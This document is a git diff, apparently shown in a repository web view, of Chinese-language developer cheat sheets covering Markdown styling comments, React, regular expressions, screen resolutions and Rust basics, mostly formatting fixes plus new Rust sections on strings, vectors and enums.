<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
隐藏卡片标题,在 H3 标题下面添加注释样式
```
```markdown {2}
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
<!--rehype:className=wrap-text -->
### HTML 代码预览
```
@ -260,6 +319,35 @@ const school = <div>学校</div>;
上面的 [`markdown`](./markdown.md) 代码在 `meta` 位置添加 `preview` 标识,[HTML](./html.md) 代码将被执行预览
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
隐藏卡片标题,在 H3 标题下面添加注释样式
```
```markdown {2}
### 隐藏卡片标题
<!--rehype:style=display:none;&wrap-style=padding-top: 0;-->
```
<!--rehype:className=wrap-text -->
### 注释类配置
<!--rehype:wrap-class=col-span-2-->
类 | 说明
---- | ----
`<!--rehype:className=wrap-text-->` | 强制换行
`<!--rehype:className=show-header-->` | 展示表格表头
`<!--rehype:className=shortcuts-->` | 快捷键样式
`<!--rehype:className=auto-wrap-->` | 隐藏表头强制小尺寸自动换行
`<!--rehype:className=style-list-arrow-->` | 列表箭头样式展示表格
`<!--rehype:className=style-list-->` | 列表样式展示表格
`<!--rehype:className=left-align-->` | 表格末尾列左对齐
`<!--rehype:className=style-none-->` | \<li> 没有标记
`<!--rehype:className=style-timeline-->` | 时间轴样式
`<!--rehype:className=style-arrow-->` | 箭头标记
### KaTeX 数学渲染
```KaTeX
@ -582,7 +670,6 @@ H2 部分
在 `Title 1` 标题添加 `col-span-2` 和 `row-span-2` 占位类,使用 `空格` 间隔。
表格
---
@ -699,14 +786,19 @@ H2 部分
<!--rehype:wrap-class=row-span-2-->
- **重命名为 new_name**
```bash
$ git branch -m <new_name>
```
- 推送和**重置**
```bash
$ git push origin -u <new_name>
```
- 删除远程分支
```bash
$ git push origin --delete <old>
```

View File

@ -3,7 +3,6 @@ React 备忘清单
适合初学者的综合 React 备忘清单。
入门
----
@ -59,7 +58,6 @@ import World, { Hello } from './hello.js';
使用 `import` 导入 `Hello` 组件,在示例中使用。
### React 组件中的 CSS
```jsx {2,5}
@ -82,7 +80,6 @@ export const Student = (
);
```
### 属性
```jsx
@ -112,7 +109,6 @@ class Student extends React.Component {
`class` 组件使用 `this.props` 访问传递给组件的属性。
### Children
<!--rehype:wrap-class=row-span-2-->
@ -138,7 +134,7 @@ function AlertBox(props) {
}
```
----
-----
```jsx
{props.children}
@ -158,7 +154,7 @@ class AlertBox extends React.Component {
}
```
----
-----
```jsx
{this.props.children}
@ -297,7 +293,7 @@ function Student() {
### Portals
React 并*没有*创建一个新的 `div`。它只是把子元素渲染到 `domNode` 中。`domNode` 是一个可以在任何位置的有效 DOM 节点。
React 并_没有_创建一个新的 `div`。它只是把子元素渲染到 `domNode` 中。`domNode` 是一个可以在任何位置的有效 DOM 节点。
```jsx
render() {
@ -438,7 +434,7 @@ function CustomTextInput(props) {
</div>
```
----
-----
- [识别不安全的生命周期](https://zh-hans.reactjs.org/docs/strict-mode.html#identifying-unsafe-lifecycles)
- [关于使用过时字符串 ref API 的警告](https://zh-hans.reactjs.org/docs/strict-mode.html#warning-about-legacy-string-ref-api-usage)
@ -754,7 +750,7 @@ export default function Weather(props) {
}
```
----
-----
```js
{isShow && <div>内容</div>}
@ -860,7 +856,6 @@ class Welcome extends React.Component {
`this.props` | 组件接受参数
`this.state` | 组件内状态
### Pure 组件
```jsx
@ -1003,7 +998,7 @@ Menu.Item = ({ children }) => (
);
```
----
-----
```jsx
<Menu>
@ -1330,7 +1325,7 @@ PropTypes 属性类型检查
import PropTypes from 'prop-types'
```
----
-----
:- | -
:- | -
@ -1354,7 +1349,6 @@ import PropTypes from 'prop-types'
`oneOf(any)` | 枚举类型
`oneOfType([type])` | 几种类型中的任意一个类型
#### _数组 Array_
:- | -
@ -1537,4 +1531,4 @@ MyComponent.propTypes = {
- [React 官方中文文档](https://zh-hans.reactjs.org/) _(zh-hans.reactjs.org)_
- [反应生命周期方法图](https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) _(projects.wojtekmaj.pl)_
- [React 16 Cheat Sheet](https://reactcheatsheet.com)
- [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_
- [Awesome React](https://github.com/enaqx/awesome-react) _(github.com)_

View File

@ -33,7 +33,6 @@ RegEX 备忘清单
`[a-zA-Z]` | 范围内的字符:<br>`a-z``A-Z`
`[a-zA-Z0-9]` | 范围内的字符:<br>`a-z``A-Z``0-9`
### 量词
范例 | 说明
@ -115,7 +114,6 @@ RegEX 备忘清单
`[\b]` | 退格字符
`\` | 使任何字符文字
### 锚点
范例 | 说明
@ -129,7 +127,6 @@ RegEX 备忘清单
`\b` | 一个词的边界
`\B` | 非单词边界
### 替代
范例 | 说明
@ -210,8 +207,8 @@ RegEX 备忘清单
`(?!...)` | 负先行断言
`(?<=...)` | 正后发断言
`(?<!...)` | 负后发断言
`?= `|正先行断言-存在
`?! `|负先行断言-排除
`?=`|正先行断言-存在
`?!`|负先行断言-排除
`?<=`|正后发断言-存在
`?<!`|负后发断言-排除
@ -244,30 +241,30 @@ RegEX 备忘清单
:-|-
:-|-
`(*ACCEPT)` | 控制动词
`(*FAIL)` | 控制动词
`(*MARK:NAME)` | 控制动词
`(*COMMIT)` | 控制动词
`(*PRUNE)` | 控制动词
`(*SKIP)` | 控制动词
`(*THEN)` | 控制动词
`(*UTF)` | 图案修饰符
`(*UTF8)` | 图案修饰符
`(*UTF16)` | 图案修饰符
`(*UTF32)` | 图案修饰符
`(*UCP)` | 图案修饰符
`(*CR)` | 换行修饰符
`(*LF)` | 换行修饰符
`(*CRLF)` | 换行修饰符
`(*ANYCRLF)` | 换行修饰符
`(*ANY)` | 换行修饰符
`\R` | 换行修饰符
`(*BSR_ANYCRLF)` | 换行修饰符
`(*BSR_UNICODE)` | 换行修饰符
`(*LIMIT_MATCH=x)` | 正则表达式引擎修饰符
`(*LIMIT_RECURSION=d)` | 正则表达式引擎修饰符
`(*NO_AUTO_POSSESS)` | 正则表达式引擎修饰符
`(*NO_START_OPT)` | 正则表达式引擎修饰符
`(*ACCEPT)` | 控制动词
`(*FAIL)` | 控制动词
`(*MARK:NAME)` | 控制动词
`(*COMMIT)` | 控制动词
`(*PRUNE)` | 控制动词
`(*SKIP)` | 控制动词
`(*THEN)` | 控制动词
`(*UTF)` | 图案修饰符
`(*UTF8)` | 图案修饰符
`(*UTF16)` | 图案修饰符
`(*UTF32)` | 图案修饰符
`(*UCP)` | 图案修饰符
`(*CR)` | 换行修饰符
`(*LF)` | 换行修饰符
`(*CRLF)` | 换行修饰符
`(*ANYCRLF)` | 换行修饰符
`(*ANY)` | 换行修饰符
`\R` | 换行修饰符
`(*BSR_ANYCRLF)` | 换行修饰符
`(*BSR_UNICODE)` | 换行修饰符
`(*LIMIT_MATCH=x)` | 正则表达式引擎修饰符
`(*LIMIT_RECURSION=d)` | 正则表达式引擎修饰符
`(*NO_AUTO_POSSESS)` | 正则表达式引擎修饰符
`(*NO_START_OPT)` | 正则表达式引擎修饰符
正则表达式示例
--------------
@ -276,26 +273,25 @@ RegEX 备忘清单
范例 | 说明
:-|-
`ring ` | 匹配 <yel>ring</yel> sp<yel>ring</yel>board 等。
`. ` | 匹配 <yel>a</yel><yel>9</yel><yel>+</yel> 等。
`h.o ` | 匹配 <yel>hoo</yel><yel>h2o</yel><yel>h/o</yel> 等。
`ring\? ` | 匹配 <yel>ring?</yel>
`\(quiet\) ` | 匹配<yel>(安静)</yel>
`c:\\windows ` | 匹配 <yel>c:\windows</yel>
`ring` | 匹配 <yel>ring</yel> sp<yel>ring</yel>board 等。
`.` | 匹配 <yel>a</yel><yel>9</yel><yel>+</yel> 等。
`h.o` | 匹配 <yel>hoo</yel><yel>h2o</yel><yel>h/o</yel> 等。
`ring\?` | 匹配 <yel>ring?</yel>
`\(quiet\)` | 匹配<yel>(安静)</yel>
`c:\\windows` | 匹配 <yel>c:\windows</yel>
使用 `\` 搜索这些特殊字符:<br> `[ \ ^ $ . | ? * + ( ) { }`
### 速记类
范例 | 说明
:-|-
`\w ` | “单词”字符 <br> _(字母、数字或下划线)_
`\d ` | 数字
`\s ` | 空格 <br> _(空格、制表符、vtab、换行符)_
`\W, \D, or \S ` | 不是单词、数字或空格
`[\D\S] ` | 表示不是数字或空格,两者都匹配
`[^\d\s] ` | 禁止数字和空格
`\w` | “单词”字符 <br> _(字母、数字或下划线)_
`\d` | 数字
`\s` | 空格 <br> _(空格、制表符、vtab、换行符)_
`\W, \D, or \S` | 不是单词、数字或空格
`[\D\S]` | 表示不是数字或空格,两者都匹配
`[^\d\s]` | 禁止数字和空格
### 出现次数
@ -311,9 +307,9 @@ RegEX 备忘清单
范例 | 说明
:-|-
`cat\|dog ` | 匹配 <yel>cat</yel><yel>dog</yel>
`id\|identity ` | 匹配 <yel>id</yel><yel>id</yel>entity
`identity\|id ` | 匹配 <yel>id</yel><yel>identity</yel>
`cat\|dog` | 匹配 <yel>cat</yel><yel>dog</yel>
`id\|identity` | 匹配 <yel>id</yel><yel>id</yel>entity
`identity\|id` | 匹配 <yel>id</yel><yel>identity</yel>
当替代品重叠时,命令从长到短
@ -334,7 +330,7 @@ RegEX 备忘清单
范例 | 说明
:-|-
`* + {n,}`<br>_greedy_ | 尽可能匹配
`<.+> ` | 在 <yel>\<b>bold\<\/b></yel> 中找到 1 个大匹配项
`<.+>` | 在 <yel>\<b>bold\<\/b></yel> 中找到 1 个大匹配项
`*? +? {n,}?`<br>_lazy_ | 尽可能少匹配
`<.+?>` | 在 \<<yel>b</yel>>bold\<<yel>\/b</yel>> 中找到 2 个匹配项
@ -343,20 +339,19 @@ RegEX 备忘清单
范例 | 说明
:-|-
`\b ` | “单词”边缘(非“单词”字符旁边)
`\bring ` | 单词以“ring”开头例如 <yel>ringtone</yel>
`ring\b ` | 单词以“ring”结尾例如 <yel>spring</yel>
`\b9\b ` | 匹配单个数字 <yel>9</yel>,而不是 19、91、99 等。
`\b[a-zA-Z]{6}\b ` | 匹配 6 个字母的单词
`\B ` | 不是字边
`\Bring\B ` | 匹配 <yel>springs</yel><yel>wringer</yel>
`^\d*$ ` | 整个字符串必须是数字
`\b` | “单词”边缘(非“单词”字符旁边)
`\bring` | 单词以“ring”开头例如 <yel>ringtone</yel>
`ring\b` | 单词以“ring”结尾例如 <yel>spring</yel>
`\b9\b` | 匹配单个数字 <yel>9</yel>,而不是 19、91、99 等。
`\b[a-zA-Z]{6}\b` | 匹配 6 个字母的单词
`\B` | 不是字边
`\Bring\B` | 匹配 <yel>springs</yel><yel>wringer</yel>
`^\d*$` | 整个字符串必须是数字
`^[a-zA-Z]{4,20}$` | 字符串必须有 4-20 个字母
`^[A-Z] ` | 字符串必须以大写字母开头
`[\.!?"')]$ ` | 字符串必须以终端标点结尾
`^[A-Z]` | 字符串必须以大写字母开头
`[\.!?"')]$` | 字符串必须以终端标点结尾
### 修饰
### 修饰
范例 | 说明
:-|-
@ -371,8 +366,8 @@ RegEX 备忘清单
范例 | 说明
:-|-
`(in\|out)put ` | 匹配 <yel>input</yel><yel>output</yel>
`\d{5}(-\d{4})?` | 美国邮政编码 _(“+ 4”可选)_
`(in\|out)put` | 匹配 <yel>input</yel><yel>output</yel>
`\d{5}(-\d{4})?` | 美国邮政编码 _(“+ 4”可选)_
如果组后匹配失败,解析器会尝试每个替代方案。
<br>
@ -417,11 +412,10 @@ RegEX 备忘清单
`(?<! )` | 向后看,如果你找不到后面
`\b\w+?(?=ing\b)` | 匹配 <yel>warbl</yel>ing, <yel>str</yel>ing, <yel>fish</yel>ing, ...
`\b(?!\w+ing\b)\w+\b` | 不以“ing”结尾的单词
`(?<=\bpre).*?\b ` | 匹配 pre<yel>tend</yel>、pre<yel>sent</yel>、pre<yel>fix</yel>、...
`(?<=\bpre).*?\b` | 匹配 pre<yel>tend</yel>、pre<yel>sent</yel>、pre<yel>fix</yel>、...
`\b\w{3}(?<!pre)\w*?\b` | 不以“pre”开头的词
`\b\w+(?<!ing)\b` | 匹配不以“ing”结尾的单词
### If-then-else
匹配 `Mr.``Ms.` 如果单词 `her` 稍后在字符串中
@ -458,7 +452,7 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`.ar` | The `car` `par`ked in the `gar`age.
`.ar` | The `car` <pur>`par`</pur>ked in the `gar`age.
`ar[.]` | A garage is a good place to park a c`ar`.
<!--rehype:className=show-header-->
@ -480,7 +474,7 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`[a-z]*` | T`he` `car` `parked` `in` `the` `garage` #21.
`[a-z]*` | T`he` <pur>`car`</pur> `parked` <pur>`in`</pur> `the` <pur>`garage`</pur> #21.
`\s*cat\s*` | The fat `cat` sat on the con`cat`enation.
表达式 `[a-z]*` 匹配一个行中所有以小写字母开头的字符串。
@ -509,7 +503,7 @@ M(?(?=.*?\bher\b)s|r)\.
`[0-9]{2,3}` | The number was 9.`999`7 but we rounded it off to `10`.0.
`[0-9]{2,}` | The number was 9.`9997` but we rounded it off to `10`.0.
`[0-9]{3}` | The number was 9.`999`7 but we rounded it off to 10.0.
<!--rehype:className=show-header-->
<!--rehype:className=style-list-arrow-->
### `(...)` 特征标群
@ -622,7 +616,7 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`The` | The `fat` cat sat on the mat.
`/The/gi` | The `fat` `cat` `sat` on the `mat`.
`/The/gi` | `The` fat cat sat on `the` mat.
<!--rehype:className=show-header-->
修饰语 `i` 用于忽略大小写,`g` 表示全局搜索。
@ -649,8 +643,8 @@ M(?(?=.*?\bher\b)s|r)\.
表达式 | 匹配示例
:- | -
`/(.*at)/` | `The fat cat sat on the mat`.
`/(.*?at)/` | `The fat` cat sat on the mat.
`/(.*at)/` | `The fat cat sat on the mat`.
`/(.*?at)/` | `The fat` cat sat on the mat.
<!--rehype:className=show-header-->
Python 中的正则表达式
@ -664,7 +658,6 @@ Python 中的正则表达式
import re
```
### 实例
<!--rehype:wrap-class=col-span-2 row-span-3-->
@ -729,18 +722,15 @@ False
函数 | 说明
:-|-
`re.findall` | 返回包含所有匹配项的列表
`re.finditer` | 返回一个可迭代的匹配对象每个匹配一个
`re.finditer` | 返回一个可迭代的匹配对象<br/> _(每个匹配一个)_
`re.search` | 如果字符串中的任何位置存在匹配项,则返回 Match 对象
`re.split` | 返回一个列表,其中字符串在每次匹配时被拆分
`re.sub` | 用字符串替换一个或多个匹配项
`re.compile` | 编译正则表达式模式供以后使用
`re.escape` | 返回所有非字母数字反斜杠的字符串
### Flags 标志
:- | - | -
:- | - | -
`re.I` | `re.IGNORECASE` | 忽略大小写
@ -750,8 +740,6 @@ False
`re.U` | `re.UNICODE` | 使 `\w``\b``\d``\s` _unicode 依赖_
`re.X` | `re.VERBOSE` | 可读风格
JavaScript 中的正则表达式
---------------
@ -830,7 +818,7 @@ let regex = /apples/gi;
console.log(text.match(regex));
```
### split()
### split()
<!--rehype:wrap-class=col-span-2-->
```javascript
@ -894,14 +882,12 @@ text.replaceAll(regex, "mangoes");
```
<!--rehype:className=wrap-text-->
PHP中的正则表达式
------------
### 函数
<!--rehype:wrap-class=col-span-2-->
:- | -
:- | -
`preg_match()` | 执行正则表达式匹配
@ -911,7 +897,6 @@ PHP中的正则表达式
`preg_split()` | 按正则表达式模式拆分字符串
`preg_grep()` | 返回与模式匹配的数组条目
### preg_replace
```php
@ -923,7 +908,6 @@ echo preg_replace($regex, "QuickRef", $str);
```
<!--rehype:className=wrap-text-->
### preg_match
```php
@ -933,7 +917,6 @@ $regex = "#quickref#i";
echo preg_match($regex, $str);
```
### preg_matchall
<!--rehype:wrap-class=col-span-2 row-span-2-->
@ -952,17 +935,15 @@ if (preg_match_all($regex, $input_str, $matches_out)) {
}
```
### preg_grep
```php
```php
$arr = ["Jane", "jane", "Joan", "JANE"];
$regex = "/Jane/";
// Output: Jane
echo preg_grep($regex, $arr);
```
### preg_split
<!--rehype:wrap-class=col-span-2-->
@ -973,7 +954,6 @@ $regex = "@\s@";
print_r(preg_split($regex, $str));
```
Java 中的正则表达式
-------------
@ -1003,10 +983,8 @@ boolean s3 = Pattern.matches(".s", "XXXX");
System.out.println(s3); // Outputs: false
```
### 模式字段
:- | -
:- | -
`CANON_EQ` | 规范等价
@ -1017,7 +995,6 @@ System.out.println(s3); // Outputs: false
`UNICODE_CASE` | Unicode 感知大小写折叠
`UNIX_LINES` | Unix 行模式
### 方法
#### Pattern
@ -1029,10 +1006,10 @@ System.out.println(s3); // Outputs: false
#### 匹配器
- int start([int group | 字符串名称])
- int end([int group | 字符串名称])
- int start([int group | 字符串名称])
- int end([int group | 字符串名称])
- 布尔 find([int start])
- 字符 group([int 组 | 字符串名称])
- 字符 group([int 组 | 字符串名称])
- 匹配器重置 reset()
#### String
@ -1043,7 +1020,6 @@ System.out.println(s3); // Outputs: false
还有更多方法...
### 例子
<!--rehype:wrap-class=col-span-2-->
@ -1073,7 +1049,6 @@ while (m.find()) {
System.out.println(matches);
```
MySQL中的正则表达式
-------------
<!--rehype:body-class=cols-2-->
@ -1082,15 +1057,14 @@ MySQL中的正则表达式
函数名称 | 说明
:- | -
`REGEXP ` | 字符串是否匹配正则表达式
`REGEXP_INSTR() ` | 匹配正则表达式的子字符串的起始索引 <br>_注意仅限 MySQL 8.0+_
`REGEXP_LIKE() ` | 字符串是否匹配正则表达式 <br>_(注意:仅 MySQL 8.0+)_
`REGEXP` | 字符串是否匹配正则表达式
`REGEXP_INSTR()` | 匹配正则表达式的子字符串的起始索引 <br>_注意仅限 MySQL 8.0+_
`REGEXP_LIKE()` | 字符串是否匹配正则表达式 <br>_(注意:仅 MySQL 8.0+)_
`REGEXP_REPLACE()` | 替换匹配正则表达式的子字符串 <br>_注意仅限 MySQL 8.0+_
`REGEXP_SUBSTR() ` | 返回匹配正则表达式的子字符串 <br>_(注意:仅 MySQL 8.0+)_
`REGEXP_SUBSTR()` | 返回匹配正则表达式的子字符串 <br>_(注意:仅 MySQL 8.0+)_
### REGEXP
```sql
expr REGEXP pat
```
@ -1107,7 +1081,6 @@ mysql> SELECT 'a' REGEXP 'A', 'a' REGEXP BINARY 'A';
1 0
```
### REGEXP_REPLACE
```
@ -1123,7 +1096,6 @@ mysql> SELECT REGEXP_REPLACE('abc ghi', '[a-z]+', 'X', 1, 2);
abc X
```
### REGEXP_SUBSTR
```
@ -1139,8 +1111,7 @@ mysql> SELECT REGEXP_SUBSTR('abc def ghi', '[a-z]+', 1, 3);
ghi
```
### REGEXP_LIKE
### REGEXP_LIKE
```
REGEXP_LIKE(expr, pat[, match_type])
@ -1161,7 +1132,6 @@ mysql> SELECT regexp_like('a\nb\nc', '^b$', 'm');
1
```
### REGEXP_INSTR
```

View File

@ -133,7 +133,6 @@ Resolutions 备忘清单
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
<!--rehype:className=show-header-->
### 平板
<!--rehype:wrap-class=col-span-3-->
@ -159,7 +158,6 @@ Resolutions 备忘清单
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
<!--rehype:className=show-header-->
### 笔记本电脑
<!--rehype:wrap-class=col-span-3-->
@ -234,20 +232,20 @@ N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | &lt;0.58 | &lt;2.4
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | &lt;0.58 | &lt;2.4
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
`Other` | - | - | - | 2.00 | 15.09
<!--rehype:className=show-header-->
### 屏幕分辨率
解析度 | 像素
:- |:-
:- |:-
`540p / qHD` | 960×540<sub>px</sub>
`720p / HD` | 1280×720<sub>px</sub>
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
@ -275,4 +273,4 @@ N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
---
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_

2452
docs/ruby.md Normal file

File diff suppressed because it is too large Load Diff

View File

@ -13,11 +13,13 @@ fn main() {
println!("Hello, World!");
}
```
#### 编译运行
```shell
$ rustc Hello_World.rs
$ ./Hello_World
Hello, World!
```
@ -141,25 +143,55 @@ foo!(3);
### 结构体
结构体是一个使用关键字 `struct` 定义的标称型(nominal)结构体类型
```rust
struct Point { x: i32, y: i32 }
let p = Point { x: 10, y: 11 };
let px: i32 = p.x;
```
结构体是一个使用关键字 `struct` 定义的标称型(nominal)结构体类型
### 枚举
#### 元祖结构体
```rust
enum Foo {
Bar, // 0
Baz = 123, // 123
Quux, // 124
}
struct Color (i32, i32, i32);
let black = Color(0,0,0);
```
let baz_discriminant = Foo::Baz as u32;
assert_eq!(baz_discriminant, 123);
#### 单元结构体
不关心该类型的内容, 只关心它的行为。
```rust
struct Solution;
impl Solution{
// ...
}
```
### 语句与表达式
在 rust 中,语句无需返回值,而表达式总要返回值
#### 语句
```rust
let a = "hello".to_string();
let b = a + " world";
println!("{}", b);
```
#### 表达式
```rust
fn main(){
let x = {
let a = "hello".to_string();
a + " world"
};
println!("{}", x);
// hello world
}
```
Rust 类型
@ -176,8 +208,8 @@ let p: Point = (41, 68);
```rust
let mut a: u32 = 8;
let b: u64 = 877;
let c: i64 = 8999;
let b = 877_u64;
let c = 8999i64;
let d = -90;
```
@ -219,6 +251,9 @@ println!("社区的名称是 {community_name},它有 {no_of_members} 个成员
查看: [字符串](#rust-字符串)
### 数组
<!--rehype:wrap-class=row-span-2-->
这里介绍的是固定长度的数组。rust 中常用的是集合类型 vec 表示的[动态数组](#rust-动态数组)
```rust
┌─────┬─────┬─────┬─────┬─────┬─────┐
@ -226,33 +261,15 @@ println!("社区的名称是 {community_name},它有 {no_of_members} 个成员
└─────┴─────┴─────┴─────┴─────┴─────┘
0 1 2 3 4 5
```
----
```rust
let array: [i64; 6] = [92,97,98,99,98,94];
```
### 多维数组
<!--rehype:wrap-class=row-span-2-->
```rust
j0 j1 j2 j3 j4 j5
┌────┬────┬────┬────┬────┬────┐
i0 | 1 | 2 | 3 | 4 | 5 | 6 |
├────┼────┼────┼────┼────┼────┤
i1 | 6 | 5 | 4 | 3 | 2 | 1 |
└────┴────┴────┴────┴────┴────┘
```
----
```rust
let array: [[i64; 6] ;2] = [
[1,2,3,4,5,6],
[6,5,4,3,2,1]];
```
### 可变数组
```rust
let mut array: [i32 ; 3] = [2,6,10];
array[1] = 4;
@ -270,14 +287,6 @@ let mut slices: &[i64] = &array[0..3]
println!("切片的元素是:{slices:?}");
```
### 向量
```rust
let some_vector = vec![1,2,3,4,5];
```
使用 `vec!` 宏声明向量
### 元组
```rust
@ -305,7 +314,7 @@ let S_string = a_string.to_string()
// 创建一个初始化的字符串对象
let lang = String::from("Rust");
println!("First language is {lang}");
```
```
### .capacity()
@ -341,6 +350,191 @@ hi.push_str("How are you doing??");
println!("{hi}");
```
### 原生字符串
```rust
let str1 = r#"\hello"#;
println!("{}", str1);
// \hello
```
原生字符串,无需增加转义字符(`\`)转义
### 字节和字节串
```rust
let str2 = b'a';
println!("{}", str2);
// 97
let str3 = b"\\hello";
println!("{:?}", str3);
// [92, 104, 101, 108, 108, 111]
let str4 = br#"\hello"#;
println!("{:?}", str4);
// [92, 104, 101, 108, 108, 111]
```
Rust 动态数组
-----------
### 创建动态数组
```rust
let v: Vec<i32> = Vec::new();
// 使用宏
let v1 = vec![1, 2, 3];
```
### 读取元素
```rust
let v = vec![1, 2, 3, 4, 5];
let element = &v[100];
// panic越界
let element2 = v.get(100);
println!("{:?}", element2);
//None
```
### 遍历数组
1. 只读取数组中的元素
```rust
let v = vec![1, 2, 3];
for i in &v {
println!("{}", i);
}
```
2. 遍历的同时修改数组中的元素
```rust
let mut v = vec![1, 2, 3];
for i in &mut v {
*i += 10
}
```
### 多维数组
```rust
j0 j1 j2 j3 j4 j5
┌────┬────┬────┬────┬────┬────┐
i0 | 1 | 2 | 3 | 4 | 5 | 6 |
├────┼────┼────┼────┼────┼────┤
i1 | 6 | 5 | 4 | 3 | 2 | 1 |
└────┴────┴────┴────┴────┴────┘
```
----
```rust
let arr = vec![
vec![1, 2, 3, 4, 5, 6],
vec![6, 5, 4, 3, 2, 1]
];
```
### 常用方法
<!--rehype:wrap-class=col-span-2-->
-|:-
-|:-
`len()` | 返回 `vec` 的长度
`is_empty()` | `vec` 是否为空
`push(value)` | 在 `vec` 尾部插入元素
`pop()` | 删除并返回 `vec` 尾部的元素或者返回 `None`
`insert(index,element)` | 在指定索引处插入元素
`remove(index)` | 删除指定索引处的元素并返回被删除的元素,索引越界将 panic 报错退出
`clear()` | 清空 `vec`
`append(vec)` | 将另一个 `vec` 中的所有元素追加移入 `vec` 中,移动的 `vec` 变为空
`truncate(len)` | 将 `vec` 截断到指定长度,多余的元素被删除
`retain(f)` | 根据给定的函数,保留满足条件的元素
`drain(range)` | 删除 `vec` 中指定范围的元素,同时返回一个迭代该范围所有元素的迭代器
`split_off(index)` | 切分 `vec`,索引左边的元素保留在原 `vec` 中(含索引),索引右边的元素(不含索引)在返回的 `vec` 中
枚举
--------
### 在结构体中使用枚举
```rust
enum IpAddrKind {
V4,
V6,
}
struct IpAddr {
kind: IpAddrKind,
address: String,
}
fn main(){
let ip = IpAddr{
kind: IpAddrKind::V4,
address: String::from("127.0.0.1")
};
}
```
### 枚举的变体
```rust
enum IpAddrKind {
V4(u8, u8, u8, u8),
V6(String),
}
fn main() {
let home = IpAddrKind::V4(127, 0, 0, 1);
let loopback = IpAddrKind::V6(String::from("::1"));
}
```
----
```rust
enum Message{
Quit,
Move {x:i32, y:i32},
Write(String),
ChangeColor(i32, i32, i32),
}
fn main(){
let q = Message::Quit;
let m = Message::Move {x:10, y:20};
let w = Message:: Write(String::from("hello"));
let c = Message::ChangeColor(10, 20, 30);
}
```
### 模式匹配结构体
```rust
#[derive(Debug)]
enum Grade {
A,
B,
C,
}
enum Subject {
Math(Grade),
English(Grade),
}
fn subject_grade(sub: Subject) {
match sub {
Subject::Math(grade) => println!("The Math is {:?}", grade),
Subject::English(grade) => println!("The Math is {:?}", grade),
}
}
fn main() {
subject_grade(Subject::Math(Grade::A));
}
```
Rust 运算符
-----------
@ -355,7 +549,7 @@ Rust 运算符
`e <= f` | `e` 小于或等于 `f`
`e >= f` | `e` 大于或等于 `f`
---------
----
```rust
let (e, f) = (1, 100);
@ -377,7 +571,7 @@ let not_equal_to = e != f; // => true
`a % b` | 通过与 `b` 相除得到 `a` 的余数
`a * b` | `a` 与 `b` 相乘
------
----
```rust
let (a, b) = (4, 5);
@ -393,13 +587,13 @@ let modulus: i32 = a % b; // => 4
运算符 | 描述
:- | :-
`g & h` | 二进制与
`g | h` | 二进制或
`g \| h` | 二进制或
`g ^ h` | 二进制异或
`g ~ h` | 二进制补码
`g << h` | 二进制左移
`g >> h` | 二进制右移
-----
----
```rust
let (g, h) = (0x1, 0x2);
@ -418,7 +612,7 @@ let left_shift = h << 4; // => 32
`c || d` | 要么是真的_(OR)_
`!c` | `c` 为假 _(NOT)_
------
----
```rust
let (c, d) = (true, false);
@ -447,29 +641,7 @@ let mut l = k;
Rust 流程控制
------------
### If表达式
```rust
let case1: i32 = 81;
let case2: i32 = 82;
if case1 < case2 {
println!("case1 大于 case2");
}
```
### If...Else 表达式
```rust
let case3 = 8;
let case4 = 9;
if case3 >= case4 {
println!("case3 优于 case4");
} else {
println!("case4 大于 case3");
}
```
### If...Else...if...Else 表达式
### If 表达式
```rust
let foo = 12;
@ -485,100 +657,30 @@ if foo == bar {
}
```
### If...let 表达式
<!--rehype:wrap-class=row-span-3-->
```rust
let mut arr1:[i64 ; 3] = [1,2,3];
if let[1,2,_] = arr1{
println!("与数组一起使用");
}
